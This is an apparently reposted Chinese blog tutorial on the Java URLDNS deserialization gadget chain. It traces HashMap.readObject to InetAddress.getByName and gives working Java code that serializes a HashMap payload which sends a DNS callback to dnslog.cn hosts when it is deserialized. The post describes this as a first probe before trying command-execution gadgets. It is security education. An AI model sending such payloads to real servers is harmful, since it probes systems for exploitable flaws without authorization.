Java代码审计13之URLDNS链

news2024/12/25 3:20:14

文章目录

  • 1、简介urldns链
  • 2、hashmap与url类的分析
      • 2.1、Hashmap类readObject方法的跟进
      • 2.2、URL类hashcode方法的跟进
      • 2.3、InetAddress类的getByName方法
  • 3、整个链路的分析
      • 3.1、整理上述的思路
      • 3.2、一些疑问的测试
      • 3.3、hashmap的put方法分析
      • 3.4、反射
      • 3.5、整个代码
  • 4、补充说明

1、简介urldns链

URLDNS链是java原生态的一条利用链,通常用于存在反序列化漏洞进行验证的,

因为是原生态,不存在什么版本限制。



HashMap结合URL触发DNS检查的思路。

在实际过程中可以首先通过这个去判断服务器是否使用了readObject()以及能否执行。

之后再用各种gadget去尝试试RCE。


HashMap最早出现在JDK 1.2中,底层基于散列算法实现。

而正是因为在HashMap中,Entry的存放位置是根据Key的Hash值来计算,然后存放到数组中的。

所以对于同一个Key,在不同的JVM实现中计算得出的Hash值可能是不同的。

因此,HashMap实现了自己的writeObject和readObject方法。

因为是研究反序列化问题,所以我们来看一下它的readObject方法

2、hashmap与url类的分析

2.1、Hashmap类readObject方法的跟进

新建一个文件,写一个Hashmap,跟进去,

在这里插入图片描述

找到Hashmap的readObject方法,该方法会在Hashmap类反序列化的时候自动调用,

之前我们反序列化漏洞的demo代码就是重写这个类造成的,

在这里插入图片描述

继续向下,有一个hash(key)方法,先不管这个“key”,跟进去看看hash方法的内容,

在这里插入图片描述

从这个参数定义,可以知道这个key是一个对象,

当key不为空的情况下,就会调用key这个对象的hashcode方法,

	所以这个hashcode函数具体是哪个函数,取决于传入哪个对象

在这里插入图片描述

这里小结下先,

Hashmap.readObject	--	HashMap.hash	--	传入对象得.hashCode

2.2、URL类hashcode方法的跟进

继续新建一个url类,跟进去,也有一个hashcode方法,看下内容

在这里插入图片描述

当hashcode不等于 -1 的时候,直接返回hashcode的值,结束本函数,

跟一下hashcode变量,发现其默认值为“-1”

也就是,默认情况下会继续向下执行,不会直接返回hashcode的值,

这里比较重要,敲黑板

在这里插入图片描述

我们继续看下855行的代码“hashCode(this)”

看到这个“this”是一个url,而359行的getHostAddress函数要去解析这个url,

在这里插入图片描述

继续跟进去看下,这个主要就是调用了InetAddress类的getByName方法,

InetAddress类的getByName方法的作用是,传入host解析IP,返回ip

传入ip,则返回Ip

在这里插入图片描述

这里继续小结下,

URL.hashcode	--	URLStreamHandler.hashCode	-->	

-->  URLStreamHandler.getHostAddress	--	InetAddress.getByName

2.3、InetAddress类的getByName方法

我们来一个InetAddress类的getByName方法的demo

在这里插入图片描述

当我们不传递域名,而是直接传递IP呢

看到是直接返回了IP

在这里插入图片描述

继续,传一个错误的IP,会直接报错,

在这里插入图片描述
小结,

传入域名会解析其对应的IP,我们可以在dns的解析记录找到,

但是假设传入是IP,则没有地方可以找到受害者的解析记录(这里各位有看法,欢迎补充)

代码,

package com.example.demo2;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.net.InetAddress;
import java.net.UnknownHostException;
public class main {

    public static void main(String[] args) throws Exception {




                try {
                    InetAddress address = InetAddress.getByName("www.baidu.com");
                    System.out.println("IP地址: " + address.getHostAddress());
                } catch (UnknownHostException e) {
                    e.printStackTrace();
                }

3、整个链路的分析

3.1、整理上述的思路

由上面总结就可以知道,Hashmap类在反序列化的时候,会调用传入对象的hashcode方法。

而url类的hashcode方法会解析dns对应的IP;

所以整个链接就是,
Hashmap.readObject	--	HashMap.hash	-->
	
--> URL.hashcode(传入对象)  -->	URLStreamHandler.hashCode	-->

--> URLStreamHandler.getHostAddress	--	InetAddress.getByName

由上面的结果推导出,最常见的触发demo代码,
    package com.example.demo2;

    import java.net.MalformedURLException;
    import java.net.URL;
    import java.util.HashMap;

    public class dns_hashmap {
        public static void main(String[] args) throws MalformedURLException {
            HashMap<URL,Integer> hashmap = new HashMap<>();
            URL url = new URL("http://dd.l3eqkh.dnslog.cn/aa");
            System.out.println(url);
            System.out.println(url.getClass());
            hashmap.put(url,2);
        }
    }

根据上边的“2.3得”分析,我们知道传入ip的话,会直接返回ip,不会请求,

传入域名的话,会有一个请求域名解析对应IP的情况;这个demo代码也测试了下,情况和上边的一样

(这也有点多余,本质上层也是调用的底层;但是觉得还是有可能,还是试了试)

3.2、一些疑问的测试

这里还一个疑问是,10行的url是什么类型,他的值是什么,

经过输出,这个url是一个类,其值就是一个“字符串”,

但是不能直接在put方法的第一个参数传入一个字符串,原因在右边的图,

	这个key的值是Object类型的(Object是Java所有类的根类;class java.net.URL可以说是其子类)

	假设传入的url是一个字符串会直接报错,这就不演示了

在这里插入图片描述

3.3、hashmap的put方法分析

简单的跟一下就明白,

这个key就是上边的url类,内容是定义url类构造方法定义的url

到下图的339行,就调用了url的hashcode方法,进而会解析传入域名对应的ip,

在这里插入图片描述

3.4、反射

一个问题是,我们在序列化的过程中,会因为执行put方法,进而去解析一边域名对应的ip,

这样后续的反序列化就不会再次触发解析请求了(会直接读取序列化过程的缓存)

ps:

其实不用反序列化,下边的demo代码,多次执行的化,也仅仅在第一次有请求,原因同上。

在这里插入图片描述
代码,

    package com.example.demo2;

    import java.io.FileNotFoundException;
    import java.io.FileOutputStream;
    import java.io.IOException;
    import java.io.ObjectOutputStream;
    import java.net.MalformedURLException;
    import java.net.URL;
    import java.util.HashMap;

    public class dns_hashmap {
        public static void main(String[] args) throws IOException {
            HashMap<URL,Integer> hashmap = new HashMap<>();
            URL url = new URL("http://ee11.n5hfdu.dnslog.cn/aa");
            System.out.println(url);
            System.out.println(url.getClass());
            hashmap.put(url,2);
            Serialize(hashmap);

        }

        private static void Serialize(Object obj) throws IOException {
            ObjectOutputStream InputStream = new ObjectOutputStream(new FileOutputStream("ser.txt"));
            InputStream.writeObject(obj);
            InputStream.close();
        }
    }

为了不让java程序在序列化的过程去解析域名,仅仅在反序列化的时候解析,

我们可以通过反射技术来实现。

具体而言,就是在上述“2.2”的分析中,我们说

“当hashcode不等于 -1 的时候,直接返回hashcode的值”不会继续向下执行域名解析

而hashcode默认又是-1,所以可以通过反射给hashcode变量设置一个不为“-1”的任意值,

即可让代码在序列化的时候,不继续执行域名的解析。


具体代码如下:

            HashMap<URL,Integer> hashmap =new HashMap<>();
            URL url = new URL("http://a.9v0wib.dnslog.cn");

            Class c = url.getClass();
				、、获取URL类,这里是根据已经实例化的url对象获取,保存到c中。
				、、具体来说,c是URL类的Class对象。

            Field fieldhashcode=c.getDeclaredField("hashCode");
				、、获取url类中对应的hashcode函数,保存到fieldhashcode中。
				、、具体来说,fieldhashcode是一个Field对象,它代表了URL类中名为"hashCode"的字段

            fieldhashcode.setAccessible(true);
				、、需要修改的hashcode变量是私有的(默认不可访问),设置Field对象的可访问性为true,就可以修改了


            fieldhashcode.set(url,222);         
				、、将hashcode的值由默认的“-1”改为任意值,这里是222
				、、这样第一次运行的时候,就不会解析传入域名的ip了

            hashmap.put(url,2);
				、、正常需要触发的函数,

            fieldhashcode.set(url,-1);
				、、在反序列化之前,在次将上边修改的hashcode值恢复默认,让其在反序列化时再次触发域名解析

            Serialize(hashmap);

3.5、整个代码

先把24行的反序列化注释,

第一次运行就是序列化生成“ser.txt”文件;此时不会产生dns记录,

再把12~22注释,24行反序列化解开,

第二次运行,反序列化执行,解析域名产生记录,
    package com.example.demo2;

    import java.io.*;
    import java.lang.reflect.Field;
    import java.net.MalformedURLException;
    import java.net.URL;
    import java.util.HashMap;

    public class dns_hashmap {
        public static void main(String[] args) throws Exception {

            HashMap<URL,Integer> hashmap =new HashMap<>();
            URL url = new URL("http://a.9v0wib.dnslog.cn");

            Class c = url.getClass();
            Field fieldhashcode=c.getDeclaredField("hashCode");
            fieldhashcode.setAccessible(true);
            fieldhashcode.set(url,222);         //第一次查询的时候会进行缓存,所以让它不等于-1

            hashmap.put(url,2);
            fieldhashcode.set(url,-1);          //让它等于-1 就是在反序列化的时候等于-1 执行dns查询
            Serialize(hashmap);

//            unserialize();
        }


        private static void Serialize(Object obj) throws IOException {
            ObjectOutputStream InputStream = new ObjectOutputStream(new FileOutputStream("ser.txt"));
            InputStream.writeObject(obj);
            InputStream.close();
        }


        public static void unserialize() throws IOException, ClassNotFoundException
        {
            ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.txt"));
            ois.readObject();
            ois.close();
        }

    }

4、补充说明

URLDNS是ysoserial中一个利用链的名字,但准确来说,这个其实不能称作“利⽤链”。

因为其参数不是⼀个可以“利⽤”的命令,⽽仅为⼀个URL,

其能触发的结果也不是命令执⾏,⽽是⼀次DNS请求。但是它有以下优点:

		使用Java内置的类构造,对第三方库没有依赖
		
		在目标没有回显的时候,能够通过DNS来判断是否存在反序列化漏洞

我们可以通过这条链很容易判断是否存在反序列化漏洞,

然后再去寻找可以命令执行的利用链

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/909906.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

node_modules.cache是什么东西

一开始没明白这是啥玩意&#xff0c;还以为是npm的属性&#xff0c;网上也没说过具体的来源出处 .cache文件的产生是由webpack4的插件cache-loader生成的&#xff0c;node_modules里下载了cache-loader插件&#xff0c;很多朋友都是vuecli工具生成的项目&#xff0c;内置了这部…

贝锐蒲公英助力建设工程咨询企业,高效安全远程访问数据档案库

随着数字信息化进程的加深&#xff0c;数字化转型已成为企业实现业务流程自动化、提高工作效率、降低成本和提高用户满意度的重要手段。其中&#xff0c;档案工作的标准化、规范化是信息化建设的前提和必要条件&#xff0c;对于建设工程咨询企业而言&#xff0c;一个完善的数字…

【数据结构与算法】迪杰斯特拉算法

迪杰斯特拉算法 介绍 迪杰斯特拉&#xff08;Dijkstra&#xff09;算法是典型最短路径算法&#xff0c;用于计算一个节点到其他节点的最短路径。它的主要特点是以中心向外层层扩展&#xff08;广度优先搜索思想&#xff09;&#xff0c;直到扩展到终点为止。 算法过程 设置…

小米AI音箱联网升级折腾记录(解决配网失败+升级失败等问题)

小米AI音箱&#xff08;一代&#xff09;联网升级折腾记录 我折腾了半天终于勉强能进入下载升级包这步&#xff0c;算是成功一半吧… 总结就是&#xff0c;网络信号一定要好&#xff0c;需要不停换网找到兼容的网&#xff0c;还需要仔细配置DNS让音响连的上api.mina.mi.com 推荐…

JavaWeb-特殊文件(propertis与XML)

目录 Properties文件 一.properties介绍 二.properties使用 三.解决中文乱码问题 XML文件 一.XML介绍 二.XML文件的语法规则 三.XML的使用 Properties文件 一.properties介绍 1.什么是properties文件 Properties文件是一种常用的配置文件格式&#xff0c;用于存储键值…

linux定时备份MySQL数据库循环删除前30天的备份文件

linux定时备份MySQL数据库循环删除前30天的备份文件 一、 检查有没安装crond,如果没有&#xff0c;先安装 1、先检查一下有没有cron rpm -qa|grep cron如果输入上面命令有如下显示&#xff0c;则不需要安装 2、没有安装的话&#xff0c;就使用一下命令安装 yum -y install …

【第三阶段】kotlin语言的内置函数let

1.使用普通方法对集合的第一个元素相加 fun main() {//使用普通方法对集合的第一个元素相加var list listOf(1,2,3,4,5)var value1list.first()var resultvalue1value1println(result) }执行结果 2.使用let内置函数对集合的第一个元素相加 package Stage3fun main() {//使用…

python 打印一个条形图

背景 在python 中&#xff0c;使用 matplot 生成图表是一个很常用的方法&#xff0c;但在一些轻量级需求场合&#xff0c;例如仅做一个打印预览&#xff0c;或者快速查看&#xff0c;这些场景下调用 matplot 生成图表&#xff0c;略显繁琐。 今天介绍一个通过 DebugInfo 模块…

NC65 树表型参照 搜索全部 按钮点击事件后获取sql的方法

NC65 树表型参照 搜索全部 按钮点击事件后获取sql的方法。 /*** 返回 UIbtnLocQuery 特性值。* * return nc.ui.pub.beans.UIButton*/ /* 警告&#xff1a;此方法将重新生成。 */ private nc.ui.pub.beans.UIButton getUIbtnLocQuery() {// 搜索全部 按钮return getButtonPan…

Shell语法揭秘:深入探讨常见Linux Shell之间的语法转换

深入探讨常见Linux Shell之间的语法转换 一、引言二、Linux常用Shell&#xff1a;Bash、Zsh、Ksh、Csh、Tcsh和Fish的简介2.1、Bash、Zsh、Ksh、Csh、Tcsh和Fish的特点和用途2.2、语法差异是常见Shell之间的主要区别 三、变量和环境设置的语法差异3.1、变量定义和使用的不同语法…

【雷达】接收和去噪L波段雷达接收到的信号研究(Matlab代码实现)

&#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5; &#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜密&#xff0c;逻辑清晰&#xff0c;为了方便读者。 ⛳️座右铭&a…

mongodb集群

端口192.168.115.3 192.168.115.4 1192.168.115.5 下载MongoDB软件包版本为4.2.14并安装 rpm -ih --force --nodeps *.rpm 2创建文件夹mkdir -p /opt/local/mongo-cluster/conf 3.在目录里创建配置文件cd /opt/local/mongo-cluster/conf …

kubernetes--技术文档-真--集群搭建-三台服务器一主二从(非高可用)-三服务器位于同交换机中

在使用k8s之前如果不太熟悉k8s的可以先看这个文章&#xff1a; kubernetes--技术文档--基本概念--《10分钟快速了解》_一单成的博客-CSDN博客 三节点相同安装操作&#xff1a; 1、设置hosts解析 根据角色在三个服务器中运行&#xff0c;设置自己的hostname。 标识&#xf…

CG MAGIC分享如何3d Max新版本如何能在旧版本中打开呢?

三维行业来说&#xff0c;无论是三维软件还是插件&#xff0c;都是在持续更新功能的。 3d Max这款软件&#xff0c;自然也不例外&#xff0c;不断推出新版本以提供更多强大的功能和工具。 随着新版本的发布&#xff0c;旧版本用户可能面临一个问题&#xff1a; 3d Max新版本…

高速道路监控:工业路由器助力高速监控远程管理与维护

工业路由器在物联网应用中扮演着重要的角色。物联网的发展使得大量设备和传感器能够互联互通&#xff0c;而工业路由器作为连接这些设备和网络的中间桥梁&#xff0c;承担着数据传输和安全管理的重要责任。 工业路由器能够为高速监控提供网络功能&#xff0c;实现户外无线网络部…

Go语言里面的各种疑难杂症

什么是闭包&#xff1f;闭包有什么缺陷&#xff1f; func AddUpper() func(int)int{var n int 10return func (x int) int{n nxreturn n} }func main(){f : AddUpper()fmt.Println(f(1))//11fmt.Println(f(2))//13fmt.Println(f(3))//16 }&#xff08;1&#xff09; AddUpper…

Three.js 实现模型材质分解,拆分,拆解效果

原理&#xff1a;通过修改模型材质的 x,y,z 轴坐标 positon.set( x,y,z) 来实现拆解&#xff0c;分解的效果。 注意&#xff1a;支持模型材质position 修改的材质类型为 type“Mesh” ,其他类型的材质修改了position 可能没有实际效果 在上一篇 Three.js加载外部glb,fbx,gltf…

小研究 - Android 字节码动态分析分布式框架(二)

安卓平台是个多进程同时运行的系统&#xff0c;它还缺少合适的动态分析接口。因此&#xff0c;在安卓平台上进行全面的动态分析具有高难度和挑战性。已有的研究大多是针对一些安全问题的分析方法或者框架&#xff0c;无法为实现更加灵活、通用的动态分析工具的开发提供支持。此…

代码生成综述

代码生成大模型属于LLM模型的一个子类&#xff0c;理论来讲也是属于语言模型的一种特例。代码本身其实也是一种特殊的语言表示&#xff0c;所以代码模型的实现应该是具备通用自然语言和代码两部分的能力。实际的代码模型也是有两条路径来实现&#xff0c;让训练好的NLP LLM模型…

IPv4,IPv6,TCP,路由

主要回顾一下TCP&#xff0f;IP的传输过程&#xff0c;在这个过程中&#xff0c;做了什么事情 ip : 网际协议,IP协议能让世界上任意两台计算机之间进行通信。 IP协议的三大功能&#xff1a; 寻址和路由传递服务&#xff1a;不可靠&#xff08;尽最大努力交付传输数据包&…